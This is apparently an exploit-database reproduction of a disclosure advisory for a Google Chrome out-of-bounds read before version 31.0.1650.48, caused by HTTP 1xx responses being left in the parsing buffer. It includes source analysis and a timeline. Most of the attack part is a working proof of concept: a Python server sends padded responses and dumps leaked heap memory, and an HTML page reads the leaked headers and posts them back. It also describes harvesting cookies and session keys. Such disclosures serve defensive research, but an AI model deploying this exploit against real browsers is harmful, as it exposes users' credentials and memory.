Google Chrome < 31.0.1650.48 - HTTP 1xx base::StringTokenizerT<...>::QuickGetNext Out-of-Bounds Read
''' Source: http://blog.skylined.nl/20161219001.html Synopsis A specially crafted HTTP response can allow a malicious web-page to trigger a out-of-bounds read vulnerability in Google Chrome. The data is read from the main process' memory. Known affected software, attack vectors and potential mitigations Google Chrome up to, but not including, 31.0.1650.48 An attacker would need to get a target user to open a specially crafted web-page. Disabling JavaScript does not prevent an attacker from triggering the vulnerable code path, but may prevent exfiltration of information. Since the affected code has not been changed since 2009, I assume this affects all versions of Chrome released in the last few years. Details The HttpStreamParser class is used to send HTTP requests and receive HTTP responses. Its read_buf_ member is a buffer used to store HTTP response data received from the server. Parts of the code are written under the assumption that the response currently being parsed is always stored at the start of this buffer (as returned by read_buf_->StartOfBuffer()), other parts take into account that this may not be the case (read_buf_->StartOfBuffer() + read_buf_unused_offset_). In most cases, responses are removed from the buffer once they have been parsed and any superfluous data is moved to the beginning of the buffer, to be treated as part of the next response. However, the code special cases HTTP 1xx replies and returns a result without removing the request from the buffer. This means that the response to the next request will not be stored at the start of the buffer, but after this HTTP 1xx response and read_buf_unused_offset_ should be used to find where it starts. The code that special cases HTTP 1xx responses is: if (end_of_header_offset == -1) { <<<snip>>> } else { // Note where the headers stop. read_buf_unused_offset_ = end_of_header_offset; if (response_->headers->response_code() / 100 == 1) { // After processing a 1xx response, the caller will ask for the next // header, so reset state to support that. We don't just skip these // completely because 1xx codes aren't acceptable when establishing a // tunnel. io_state_ = STATE_REQUEST_SENT; response_header_start_offset_ = -1; <<<Note: the code above does not remove the HTTP 1xx response from the buffer.>>> } else { <<<Note: the code that follows either removes the response from the buffer immediately, or expects it to be removed in a call to ReadResponseBody later.>>> <<<snip>>> return result; } A look through the code has revealed one location where this can lead to a security issue (also in DoReadHeadersComplete). The code uses an offset from the start of the buffer (rather than the start of the current responses) to pass as an argument to a DoParseResponseHeaders. if (result == ERR_CONNECTION_CLOSED) { <<<snip>>> // Parse things as well as we can and let the caller decide what to do. int end_offset; if (response_header_start_offset_ >= 0) { io_state_ = STATE_READ_BODY_COMPLETE; end_offset = read_buf_->offset(); <<<Note: "end_offset" is relative to the start of the buffer>>> } else { io_state_ = STATE_BODY_PENDING; end_offset = 0; <<<Note: "end_offset" is relative to the start of the current response i.e. start + read_buf_unused_offset_.>>> } int rv = DoParseResponseHeaders(end_offset); <<<snip>>> DoParseResponseHeaders passes the argument unchanged to HttpUtil::AssembleRawHeaders: int HttpStreamParser::DoParseResponseHeaders(int end_offset) { scoped_refptr<HttpResponseHeaders> headers; if (response_header_start_offset_ >= 0) { headers = new HttpResponseHeaders(HttpUtil::AssembleRawHeaders( read_buf_->StartOfBuffer() + read_buf_unused_offset_, end_offset)); <<<snip>>> The HttpUtil::AssembleRawHeaders method takes two arguments: a pointer to a buffer, and the length of the buffer. The pointer is calculated correctly (in DoParseResponseHeaders) and points to the start of the current response. The length is the offset that was calculated incorrectly in DoReadHeadersComplete. If the current response is preceded by a HTTP 1xx response in the buffer, this length is larger than it should be: the calculated value will be the correct length plus the size of the previous HTTP 1xx response (read_buf_unused_offset_). std::string HttpUtil::AssembleRawHeaders(const char* input_begin, int input_len) { std::string raw_headers; raw_headers.reserve(input_len); const char* input_end = input_begin + input_len; input_begin was calculated as read_buf_->StartOfBuffer() + read_buf_unused_offset_, input_len was incorrectly calculated as len(headers) + read_buf_unused_offset_, input_end will be read_buf_->StartOfBuffer() + 2 * read_buf_unused_offset_ + len(headers) input_end is now beyond the end of the actual headers. The code will continue to rely on this incorrect value to try to create a copy of the headers, inadvertently making a copy of data that is not part of this response and may not even be part of the read_buf_ buffer. This could cause the code to copy data from memory that is stored immediately after read_buf_ into a string that represents the response headers. This string is passed to the renderer process that made the request, allowing a web-page inside the sandbox to read memory from the main process' heap. An ASCII diagram might be useful to illustrate what is going on: read_buf_: "HTTP 100 Continue\r\n...HTTP XXX Current response\r\n...Unused..." read_buf_->StartOfBuffer() -----^ read_buf_->capacity() ----------[================================================================] read_buf_->offset() ------------[=======================================================] read_buf_unused_offset_ -------[=======================] DoReadHeadersComplete/DoParseResponseHeaders: end_offset ---------------------[=======================================================] AssembleRawHeaders: input_begin ---------------------------------------------^ input_len ----------------------------------------------[========================================###############] error in input_len value --------------------------------------------------------------[========###############] (== read_buf_unused_offset_) Memory read from the main process' heap ---------------------------------------------------------[##############] Repro The below proof-of-concept consist of a server that hosts a simple web-page. This web-page uses XMLHttpRequest to make requests to the server. The server responds with a carefully crafted reply to exploit the vulnerability and leak data from the main process' memory in the HTTP headers of the response. The web-page then uses getAllResponseHeaders() to read the leaked data, and posts it to the server, which displays the memory. The PoC makes no attempt to influence the layout of the main process' memory, so arbitrary data will be shown and access violation may occur which crash Chrome. With the PoC loaded in one tab, simply browsing the internet in another might show some leaked information from the pages you visit. PoC.py: ''' import BaseHTTPServer, json, sys, socket; def sploit(oHTTPServer, sBody): iReadSize = 2048; # The size of the HTTP 1xx response determines how many bytes can be read beyond the next response. # This HTTP 1xx response is padded to allow reading the desired amount of bytes: sFirstResponse = pad("HTTP/1.1 100 %s\r\n\r\n", iReadSize); oHTTPServer.wfile.write(sFirstResponse); # The size of the second response determines where in the buffer reading of data beyond the response starts. # For a new connection, the buffer start empty and grows in 4K increments. If the HTTP 1xx response and the second # response have a combined size of less then 4K, the buffer will be 4K in size. If the second response is padded # correctly, the first byte read beyond it will be the first byte beyond the buffer, which increases the chance of # reading something useful. sSecondResponse = pad("HTTP/1.1 200 %s\r\nx: x", 4 * 1024 - 1 - len(sFirstResponse)); oHTTPServer.wfile.write(sSecondResponse); oHTTPServer.wfile.close(); if sBody: sLeakedMemory = json.loads(sBody); assert sLeakedMemory.endswith("\r\n"), \ "Expected CRLF is missing: %s" % repr(sLeakedMemory); asLeakedMemoryChunks = sLeakedMemory[:-2].split("\r\n"); sFirstChunk = None; for sLeakedMemoryChunk in asLeakedMemoryChunks: if sLeakedMemoryChunk.startswith("x: x"): sFirstChunk = sLeakedMemoryChunk[4:]; if sFirstChunk: dump(sFirstChunk); asLeakedMemoryChunks.remove(sLeakedMemoryChunk); if len(asLeakedMemoryChunks) == 1: print "A CR/LF/CRLF separates the above memory chunk from the below chunk:"; elif len(asLeakedMemoryChunks) > 1: print "A CR/LF/CRLF separates the above memory chunk from the below chunks, their original order is unknown:"; for sLeakedMemoryChunk in asLeakedMemoryChunks: dump(sLeakedMemoryChunk); break; else: dump(sLeakedMemory); class RequestHandler(BaseHTTPServer.BaseHTTPRequestHandler): def handle_one_request(self, *txArgs, **dxArgs): try: return BaseHTTPServer.BaseHTTPRequestHandler.handle_one_request(self, *txArgs, **dxArgs); except socket.error: pass; def do_GET(self): self.do_GET_or_POST(); def do_POST(self): self.do_GET_or_POST(); def __sendFileResponse(self, iCode, sFilePath): try: oFile = open(sFilePath, "rb"); sContent = oFile.read(); oFile.close(); except: self.__sendResponse(500, "Cannot find %s" % sFilePath); else: self.__sendResponse(iCode, sContent); def __sendResponse(self, iCode, sContent): self.send_response(iCode); self.send_header("accept-ranges", "bytes"); self.send_header("cache-control", "no-cache, must-revalidate"); self.send_header("content-length", str(len(sContent))); self.send_header("content-type", "text/html"); self.send_header("date", "Sat Aug 28 1976 09:15:00 GMT"); self.send_header("expires", "Sat Aug 28 1976 09:15:00 GMT"); self.send_header("pragma", "no-cache"); self.end_headers(); self.wfile.write(sContent); self.wfile.close(); def do_GET_or_POST(self): try: try: iContentLength = int(self.headers.getheader("content-length")); except: sBody = ""; else: sBody = self.rfile.read(iContentLength); if self.path in gdsFiles: return self.__sendFileResponse(200, gdsFiles[self.path]); elif self.path in gdsFunctions: return gdsFunctions[self.path](self, sBody); else: return self.__sendResponse(404, "Not found"); except: self.server.server_close(); raise; def pad(sTemplate, iSize): iPadding = iSize - len(sTemplate % ""); return sTemplate % (iPadding * "A"); def dump(sMemory): asDWords = []; iDWord = 0; asBytes = []; asChars = []; print "-%s-.-%s-.-%s" % ( ("%d DWORDS" % (len(sMemory) >> 2)).center(35, "-"), ("%d BYTES" % len(sMemory)).center(47, "-"), "ASCII".center(16, "-")); for iIndex in xrange(len(sMemory)): sByte = sMemory[iIndex]; iByte = ord(sByte); asChars.append(0x1f < iByte < 0x80 and sByte or "."); asBytes.append("%02X" % iByte); iBitOffset = (iIndex % 4) * 8; iDWord += iByte << iBitOffset; if iBitOffset == 24 or (iIndex == len(sMemory) - 1): asDWords.append({ 0: " %02X", 8: " %04X", 16:" %06X", 24:"%08X" }[iBitOffset] % iDWord); iDWord = 0; if (iIndex % 16 == 15) or (iIndex == len(sMemory) - 1): print " %-35s | %-47s | %s" % (" ".join(asDWords), " ".join(asBytes), "".join(asChars)); asDWords = []; asBytes = []; asChars = []; if __name__ == "__main__": gdsFiles = { "/": "proxy.html", } gdsFunctions = { "/sploit": sploit, } txAddress = ("localhost", 28876); oHTTPServer = BaseHTTPServer.HTTPServer(txAddress, RequestHandler); print "Serving at: http://%s:%d" % txAddress; try: oHTTPServer.serve_forever(); except KeyboardInterrupt: pass; oHTTPServer.server_close(); ''' Proxy.html: <!doctype html> <html> <head> <script> var iThreads = 1; // number of simultanious request "threads", higher = faster extraction of data var iDelay = 1000; // delay between requests in each "thread", lower = faster extraction of data function requestLoop(sDataToSend) { var oXMLHttpRequest = new XMLHttpRequest(); oXMLHttpRequest.open("POST", "/sploit", true); oXMLHttpRequest.onreadystatechange = function () { if (oXMLHttpRequest.readyState === 4) { if (oXMLHttpRequest.status == 200) { var sHeaders = oXMLHttpRequest.getAllResponseHeaders(); console.log("response =" + oXMLHttpRequest.status + " " + oXMLHttpRequest.statusText); console.log("headers =" + sHeaders.length + ":[" + sHeaders + "]"); if (iDelay > 0) { setTimeout(function() { requestLoop(sHeaders); }, iDelay); } else { requestLoop(sHeaders); } } else { document.write("Server failed!"); } } } oXMLHttpRequest.send(sDataToSend ? JSON.stringify(sDataToSend) : ""); } window.addEventListener("load", function () { for (var i = 0; i < iThreads; i++) requestLoop(""); }, true); </script> </head> <body> </body> </html> Exploit The impact depends on what happens to be stored on the heap immediately following the buffer. Since a web-page can influence the activities of the main process (e.g. it can ask it to make other HTTP requests), a certain amount of control over the heap layout is possible. An attacker could attempt to create a "heap feng shui"-like attack where careful manipulation of the main process' activities allow reading of various types of information from the main process' heap. The most obvious targets that come to mind are http request/response data for different domains, such as log-in cookies, or session keys and function pointers that can be used to bypass ASLR/DEP. There are undoubtedly many other forms of interesting information that can be revealed in this way. There are little limits to the number of times an attacker can exploit this vulnerability, assuming the attacker can avoid triggering an access violation: if the buffer happens to be stored at the end of the heap, attempts to exploit this vulnerability could trigger an access violation/segmentation fault when the code attempts to read beyond the buffer from unallocated memory addresses. Fix I identified and tested two approaches to fixing this bug: - Fix the code where it relies on the response being stored at the start of the buffer. This addresses the incorrect addressing of memory that causes this vulnerability in various parts of the code. The design to keep HTTP 1xx responses in the buffer remains unchanged. - Remove HTTP 1xx responses from the buffer. There was inline documentation in the source that explained why HTTP 1xx responses were handled in a special way, but it didn't make much sense to me. This fix changes the design to no longer keep the HTTP 1xx response in the buffer. There is an added benefit to this fix in that it removes a potential DoS attack, where a server responds with many large HTTP 1xx replies, all of which are kept in memory and eventually cause an OOM crash in the main process. The later fix was eventually implemented. Time-line 27 September 2013: This vulnerability and two patches were submitted to the Chromium bugtracker. 2 October 2013: A patch for this vulnerability was submitted by Google. 12 November 2013: This vulnerability was address in version 31.0.1650.48. 19 December 2016: Details of this vulnerability are released. ''' |